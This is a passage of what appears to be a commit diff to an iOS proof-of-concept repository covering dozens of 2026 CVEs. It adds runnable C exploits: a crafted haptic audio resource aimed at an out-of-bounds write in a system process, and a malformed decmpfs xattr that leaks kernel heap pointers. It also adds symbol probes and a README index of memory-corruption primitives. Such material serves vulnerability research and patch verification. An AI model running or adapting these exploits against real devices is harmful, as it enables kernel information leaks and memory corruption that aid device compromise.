id engine = msg_id_1id(msg_id((id)engineClass, sel_registerName("alloc")),
sel_registerName("initAndReturnError:"), (id)&err);
if (!engine) { print_error("CHHapticEngine init", err); return 1; }
if (!msg_bool_1id(engine, sel_registerName("startAndReturnError:"), (id)&err)) {
print_error("engine start", err);
return 1;
}
printf("CHHapticEngine started\n");
buf wav = wav_frames(frames);
const char *path = "/tmp/cinder_haptic.wav";
FILE *f = fopen(path, "wb");
if (f) { fwrite(wav.d, 1, wav.n, f); fclose(f); }
printf("wav written: %s (%zu B, %d frames, declared bytes %d)\n", path, wav.n, frames, declared_bytes);
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
CFSTR("/tmp/cinder_haptic.wav"), kCFURLPOSIXPathStyle, false);
CFArrayRef empty_array = CFArrayCreate(NULL, NULL, 0, &kCFTypeArrayCallBacks);
CFDictionaryRef empty_dict = CFDictionaryCreate(NULL, NULL, NULL, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
err = nil;
unsigned long resource = msg_ul_3id(engine, sel_registerName("registerAudioResource:options:error:"),
(id)url, (id)empty_dict, (id)&err);
if (err) {
print_error("registerAudioResource", err);
msg_void(engine, sel_registerName("stop"));
bfree(&wav);
return 1;
}
printf("audio resource registered: id %lu\n", resource);
id event = msg_id_res(msg_id((id)eventClass, sel_registerName("alloc")),
sel_registerName("initWithAudioResourceID:parameters:relativeTime:duration:"),
resource, (id)empty_array, 0.0, 0.25);
id events[1] = { event };
CFArrayRef event_array = CFArrayCreate(NULL, (const void **)events, 1, &kCFTypeArrayCallBacks);
err = nil;
id pattern = msg_id_3id(msg_id((id)patternClass, sel_registerName("alloc")),
sel_registerName("initWithEvents:parameters:error:"),
(id)event_array, (id)empty_dict, (id)&err);
if (!pattern) {
print_error("pattern creation", err);
msg_void(engine, sel_registerName("stop"));
bfree(&wav);
return 1;
}
err = nil;
id player = msg_id_3id(engine, sel_registerName("makePlayerWithPattern:error:"),
pattern, nil, (id)&err);
if (!player) {
print_error("player creation", err);
msg_void(engine, sel_registerName("stop"));
bfree(&wav);
return 1;
}
err = nil;
if (!msg_bool_double_1id(player, sel_registerName("startAtTime:error:"), 0.0, (id)&err)) {
print_error("event delivery", err);
} else {
printf("audioCustom event delivered\n");
}
usleep(400000);
msg_void(engine, sel_registerName("stop"));
printf("engine stopped\n");
CFRelease(url); CFRelease(empty_array); CFRelease(empty_dict); CFRelease(event_array);
bfree(&wav);
printf("CVE-2026-113907 · custom audio haptic registration exercised\n");
return 0;
}
+2 -33
View File
@@ -1,22 +1,8 @@
// aud.haptic · AudioToolbox · AVHapticServerInstance · CVE-2026-113907 // aud.haptic · AudioToolbox · AVHapticServerInstance · CVE-2026-113907
// 原语: OOB 写 · 系统进程 · tier 2 // AVHaptic custom audio event format validation
// Primitive: OOB write · system process · tier 2
//
// [zh] AVHaptic 自定义音频事件格式校验
// createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。
// 该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。
//
// [en] AVHaptic custom audio event format validation
// On 27.0 createCustomAudioEvent neither validates the ASBD nor compares frames×bytesPerFrame against
// the actual waveform byte count. iOS 27.2 adds both checks. The XPC server side of this interface
// lives in the CoreHaptics server process.
// ── 判别 / oracle ──
// 通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。
// 变体 aud.immersive: 沉浸式渲染数据反序列化容量缺失
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,21 +23,4 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// aud.immersive · AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize · CVE-2026-113907
// 原语: OOB 写 · 系统进程 · tier 2
// Primitive: OOB write · system process · tier 2
//
// [zh] 沉浸式渲染数据反序列化容量缺失
// 反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2,
// 将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。
//
// [en] Immersive renderer data deserialisation capacity gap
// The count and dataByteSize taken off the wire are compared only against "how much is left on the
// wire", never against "how much the destination buffer holds", producing a linear heap overflow
// inside the audio server process. iOS 27.2 adds ReadImmersiveRendererDataV1/V2, folds destination
// capacity into the check, and adds a version 1..3 validity gate.
*/
+197
View File
@@ -0,0 +1,197 @@
// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/xattr.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static void le64(buf *b, uint64_t v) {
for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
}
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ──
// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks
// whose zlib streams produce only `produce` bytes each
static uint32_t adler32(const uint8_t *p, size_t n) {
uint32_t a = 1, b = 0;
for (size_t i = 0; i < n; i++) {
a = (a + p[i]) % 65521;
b = (b + a) % 65521;
}
return (b << 16) | a;
}
static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) {
buf out = {0};
le32(&out, 0x636D7066); // 'cmpf'
le32(&out, 4); // typeZlibChunked
le64(&out, (uint64_t)uncompressed);
// per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41
buf payload = {0};
brep(&payload, 0x41, produce);
buf z = {0};
bput(&z, 0x78); bput(&z, 0x01); // zlib header
size_t off = 0;
if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5);
while (off < payload.n) {
size_t take = payload.n - off < 65535 ? payload.n - off : 65535;
bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag
le16(&z, (uint16_t)take);
le16(&z, (uint16_t)~take);
bcat(&z, payload.d + off, take);
off += take;
}
be32(&z, adler32(payload.d, payload.n));
uint32_t offsets[9];
uint32_t running = 0;
for (int i = 0; i < chunk_count; i++) {
offsets[i] = running;
running += (uint32_t)(1 + z.n); // flag byte + zlib stream
}
offsets[chunk_count] = running;
for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]);
for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); }
bfree(&payload);
bfree(&z);
return out;
}
// ── trigger: xattr round trip + kernel-pointer scan ──
typedef struct {
int wrote_xattr;
long read_back;
long hits;
char samples[8][32];
int nsamples;
char note[128];
} decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t zeros[4096];
memset(zeros, 0x41, sizeof zeros);
size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros;
if (write(fd, zeros, take) != (ssize_t)take) break;
left -= take;
}
close(fd);
}
buf payload = decmpfs_chunked(uncompressed, chunks, produce);
if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) {
snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno);
bfree(&payload);
return r;
}
r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb");
if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
bfree(&payload);
return r;
}
buf back = {0};
uint8_t chunk[65536];
size_t got;
while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got);
fclose(f);
r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back
if (back.n >= 8) {
for (size_t i = 0; i + 8 <= back.n; i += 8) {
uint64_t v = 0;
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
if (v >= 0xFFFFFFE000000000ULL) {
r.hits++;
if (r.nsamples < 8) {
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
(unsigned long long)v, i);
r.nsamples++;
}
}
}
}
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
bfree(&back);
bfree(&payload);
return r;
}
int main(void) {
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[4] = {
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
};
long total_hits = 0;
printf("— baseline: what a plain file reads back —\n");
{
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t a64[64];
memset(a64, 0x41, sizeof a64);
for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break;
close(fd);
}
FILE *f = fopen(path, "rb");
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
}
printf("\n— chunked xattr round trip —\n");
for (int i = 0; i < 4; i++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536;
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
total_hits += r.hits;
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
if (r.nsamples > 0) {
printf(" candidates:");
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
printf("\n");
}
}
unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
: "no kernel pointers surfaced (read was served plain)");
return 0;
}
+2 -17
View File
@@ -1,22 +1,8 @@
// kern.decmpfs · XNU · AppleFSCompressionTypeZlib · CVE-2026-113910 // kern.decmpfs · XNU · AppleFSCompressionTypeZlib · CVE-2026-113910
// 原语: 信息泄露 · 内核 · tier 2 // decmpfs chunked decompression under-produce → kernel heap disclosure
// Primitive: info leak · kernel · tier 2
//
// [zh] decmpfs 分块解压欠产出 → 内核堆泄露
// 分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。
// 27.2 补入该比对。
//
// [en] decmpfs chunked decompression under-produce → kernel heap disclosure
// When chunked zlib decompression produces fewer bytes than expected, 27.0 does not compare produced
// against expected, so the tail of the kernel page buffer is left unwritten; read() then hands the
// whole buffer back to the app, which receives stale heap content. iOS 27.2 adds that comparison.
// ── 判别 / oracle ──
// 这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描,
// 凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
} }
+52
View File
@@ -0,0 +1,52 @@
// aud.drc · AudioToolbox / AudioCodecs · UniDrcSelection · CVE-2026-113912
// DRC decoder path probe
// C twin of the Swift POC: dlopens AudioCodecs, dlsyms the DRC symbols, then drives
// AudioConverterNew with the DRC format id.
// Build: clang -O2 -o cve-2026-113912 CVE-2026-113912.c -framework AudioToolbox -framework CoreFoundation
// Run: ./cve-2026-113912
#include <stdio.h>
#include <dlfcn.h>
#include <AudioToolbox/AudioToolbox.h>
static void audio_converter(uint32_t format, double rate, uint32_t channels) {
AudioStreamBasicDescription in = {0};
in.mSampleRate = rate;
in.mFormatID = format;
in.mFramesPerPacket = 1;
in.mChannelsPerFrame = channels;
AudioStreamBasicDescription out = {0};
out.mSampleRate = rate;
out.mFormatID = kAudioFormatLinearPCM;
out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked;
out.mBytesPerPacket = 4;
out.mFramesPerPacket = 1;
out.mBytesPerFrame = 4;
out.mChannelsPerFrame = 1;
out.mBitsPerChannel = 32;
AudioConverterRef c = NULL;
OSStatus st = AudioConverterNew(&in, &out, &c);
if (c) AudioConverterDispose(c);
char four[5] = {0};
for (int i = 0; i < 4; i++) {
uint8_t b = (uint8_t)(format >> (24 - 8 * i));
four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?';
}
printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st);
}
int main(void) {
void *h = dlopen("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", RTLD_NOW);
if (h) {
printf("ok AudioCodecs loaded\n");
const char *syms[] = {"UniDrcSelection", "mpddrc", "selectDownmixMatrix", "getSignalPeakLevel"};
for (size_t i = 0; i < 4; i++) {
printf(" %s: %s\n", syms[i], dlsym(h, syms[i]) ? "resolved" : "missing (stripped or hidden)");
}
} else {
printf("x AudioCodecs cannot be dlopened\n");
}
audio_converter(0x64726331, 48000, 6); // 'drc1' 48 kHz 6 ch
printf("CVE-2026-113912 · DRC path probed\n");
return 0;
}
+2 -17
View File
@@ -1,22 +1,8 @@
// aud.drc · AudioCodecs · mpddrc::UniDrcSelection · CVE-2026-113912 / 86972 // aud.drc · AudioCodecs · mpddrc::UniDrcSelection · CVE-2026-113912 / 86972
// 原语: OOB 读 · 系统进程 · tier 2 // MPEG-D DRC downmix matrix coefficient validation
// Primitive: OOB read · system process · tier 2
//
// [zh] MPEG-D DRC 下混矩阵系数校验
// selectDownmixMatrix 在 27.0 仅有零值与相等性检查;矩阵维度直接取自 DRC 元数据,不与系数数组的实际长度比较。27.2 补入三道闸门:nChannels ≤ 8、维度有序、系数数
// == 行×列,并为 getSignalPeakLevel 与 Process 增加计数校验。
//
// [en] MPEG-D DRC downmix matrix coefficient validation
// On 27.0 selectDownmixMatrix has only zero and equality checks; the matrix dimensions come straight
// from DRC metadata and are never compared against the coefficient array's real length. iOS 27.2
// adds three gates — nChannels ≤ 8, ordered dimensions, coefficient count == rows×cols — plus count
// checks in getSignalPeakLevel and Process.
// ── 判别 / oracle ──
// 需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
} }
+28
View File
@@ -0,0 +1,28 @@
// kext.iohid · IOKit.framework · IOHIDEventAppendEvent · CVE-2026-65385
// HID event tree append entry point probe
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
// Run: ./cve-2026-65385
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
int main(void) {
const char *syms[] = {
"IOHIDEventCreateCopy", "IOHIDEventAppendEvent", "IOHIDEventCreateData",
"IOHIDEventGetType", "IOHIDEventCreateVendorDefined",
};
void *h = dlopen("/System/Library/Frameworks/IOKit.framework/IOKit", RTLD_NOW);
if (!h) {
printf("x IOKit cannot be dlopened\n");
return 1;
}
printf("ok IOKit\n");
for (size_t i = 0; i < sizeof syms / sizeof syms[0]; i++) {
printf(" %s: %s\n", syms[i], dlsym(h, syms[i]) ? "resolved" : "missing");
}
printf("CVE-2026-65385 · IOHIDEvent append surface probed\n");
return 0;
}
+2 -16
View File
@@ -1,21 +1,8 @@
// kext.iohid · IOKit.framework · IOHIDEventAppendEvent · CVE-2026-65385 // kext.iohid · IOKit.framework · IOHIDEventAppendEvent · CVE-2026-65385
// 原语: OOB 写 · 内核 · tier 3 // IOKit event short-heap fixed-offset write
// Primitive: OOB write · kernel · tier 3
//
// [zh] IOKit 事件短堆固定偏移写
// 该缺陷的载体为用户态 IOKit.framework 而非 kext:IOHIDEventAppendEvent 在短堆事件上按固定偏移执行 OR 写。27.2 在 framework 内修复,
// 内核 __DATA_CONST 的 assert 表中不存在相关记录。
//
// [en] IOKit event short-heap fixed-offset write
// This defect's carrier is user-space IOKit.framework rather than a kext: IOHIDEventAppendEvent performs
// an OR write at a fixed offset on a short heap event. iOS 27.2 fixes it inside the framework; the
// kernel's __DATA_CONST assert table has no related record.
// ── 判别 / oracle ──
// 探用户态 IOKit 是否导出事件构造入口。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,4 +24,3 @@ enum B {
} }
+2 -2
View File
@@ -22,13 +22,13 @@
<key>CFBundlePackageType</key> <key>CFBundlePackageType</key>
<string>APPL</string> <string>APPL</string>
<key>CFBundleShortVersionString</key> <key>CFBundleShortVersionString</key>
<string>1.0</string> <string>2.0</string>
<key>CFBundleSupportedPlatforms</key> <key>CFBundleSupportedPlatforms</key>
<array> <array>
<string>iPhoneOS</string> <string>iPhoneOS</string>
</array> </array>
<key>CFBundleVersion</key> <key>CFBundleVersion</key>
<string>2</string> <string>3</string>
<key>DTPlatformName</key> <key>DTPlatformName</key>
<string>iphoneos</string> <string>iphoneos</string>
<key>DTPlatformVersion</key> <key>DTPlatformVersion</key>
+55 -35
View File
@@ -10,11 +10,11 @@ Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility
| Block | Contents | | Block | Contents |
|---|---| |---|---|
| `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable) and/or a `.swift` seed construction + trigger closures (standalone typecheckable) | | `CVE-2026-XXXX/` (31) | One folder per CVE with the POC proper inside: a `.py` seed builder (standalone runnable), a `.swift` seed construction + trigger closures (standalone typecheckable), and a `.c` twin — self-contained seed + trigger + `main()`, compiles and runs standalone on macOS arm64 |
| `<module-id>/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape | | `<module-id>/` (11) | Modules without a CVE number — tools, probes, baselines, sandbox primitives — named by module id, same folder-per-file shape |
| `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) | | `Sources/` `scripts/` `Resources/` `Info.plist` | The Cinder27 app itself (the verification harness; build below) |
42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds). 42 Swift POC files (all pass standalone typecheck) + 5 Python seed builders (byte-identical output to the app's built-in seeds) + 31 C POC files (compile clean with `clang -O2 -Wall` on macOS arm64, each with a recorded oracle).
## POC index — 31 CVE folders ## POC index — 31 CVE folders
@@ -22,37 +22,37 @@ Composite ids (e.g. `CVE-2026-112627 / 112561`) collapse into the primary id's f
| CVE | Modules | Component | Primitive | Reach | Title | Files | | CVE | Modules | Component | Primitive | Reach | Title | Files |
|---|---|---|---|---|---|---| |---|---|---|---|---|---|---|
| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder plugin | OOB read | system process | MVHEVC layer id out of range | `CVE-2026-112415.swift` | | [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder plugin | OOB read | system process | MVHEVC layer id out of range | `CVE-2026-112415.swift` · `CVE-2026-112415.c` |
| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder plugin (not a kext) | OOB write | system process | AVC slice count cap missing | `CVE-2026-112416.swift` | | [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder plugin (not a kext) | OOB write | system process | AVC slice count cap missing | `CVE-2026-112416.swift` · `CVE-2026-112416.c` |
| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB read | in-process | USDA declaration nesting depth | `CVE-2026-112485.py` · `CVE-2026-112485.swift` | | [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB read | in-process | USDA declaration nesting depth | `CVE-2026-112485.py` · `CVE-2026-112485.swift` · `CVE-2026-112485.c` |
| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB write | in-process | TIFF directory entry allocation 32-bit truncation | `CVE-2026-112488.swift` | | [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB write | in-process | TIFF directory entry allocation 32-bit truncation | `CVE-2026-112488.swift` · `CVE-2026-112488.c` |
| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c request-table consumers | use-after-free | kernel | ipc_port request table index race | `CVE-2026-112507.swift` | | [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c request-table consumers | use-after-free | kernel | ipc_port request table index race | `CVE-2026-112507.swift` · `CVE-2026-112507.c` |
| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps table lookup | OOB read | peripheral | IOHIDFamily preparsed data table index | `CVE-2026-112515.swift` | | [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps table lookup | OOB read | peripheral | IOHIDFamily preparsed data table index | `CVE-2026-112515.swift` · `CVE-2026-112515.c` |
| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB write | in-process | ISO9660 Joliet pathname heap overflow | `CVE-2026-112522.py` · `CVE-2026-112522.swift` | | [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB write | in-process | ISO9660 Joliet pathname heap overflow | `CVE-2026-112522.py` · `CVE-2026-112522.swift` · `CVE-2026-112522.c` |
| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB read | system process | HOA spatial audio coefficient out-of-bounds read | `CVE-2026-112546.swift` | | [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB read | system process | HOA spatial audio coefficient out-of-bounds read | `CVE-2026-112546.swift` · `CVE-2026-112546.c` |
| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB read | kernel | GPT partition name scan 72-byte kernel heap out-of-bounds read | `CVE-2026-112554.swift` | | [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB read | kernel | GPT partition name scan 72-byte kernel heap out-of-bounds read | `CVE-2026-112554.swift` · `CVE-2026-112554.c` |
| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | info leak | in-process | EXIF UserComment short read → metadata disclosure | `CVE-2026-112571.swift` | | [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | info leak | in-process | EXIF UserComment short read → metadata disclosure | `CVE-2026-112571.swift` · `CVE-2026-112571.c` |
| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` | | [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB write | in-process | CMap /UseCMap recursion out-of-bounds write (negative-result probe) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` |
| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` | | [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB write | in-process | Type-5 shading stack overflow (value-controlled OOB write) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` |
| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` | | [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB write | system process | Calendar attachment extraction containment | `CVE-2026-112619.swift` · `CVE-2026-112619.c` |
| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` | | [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | integer overflow | in-process | KTX2 dimension and level size arithmetic | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` |
| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` | | [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB read | in-process | BC7 texture mip truncation | `CVE-2026-112627.swift` · `CVE-2026-112627.c` |
| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` | | [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB read | in-process | GPS IFD value offset out of bounds | `CVE-2026-112629.swift` · `CVE-2026-112629.c` |
| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | info leak | in-process | APNG fcTL truncation → uninitialised frame geometry on the stack | `CVE-2026-112630.swift` | | [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | info leak | in-process | APNG fcTL truncation → uninitialised frame geometry on the stack | `CVE-2026-112630.swift` · `CVE-2026-112630.c` |
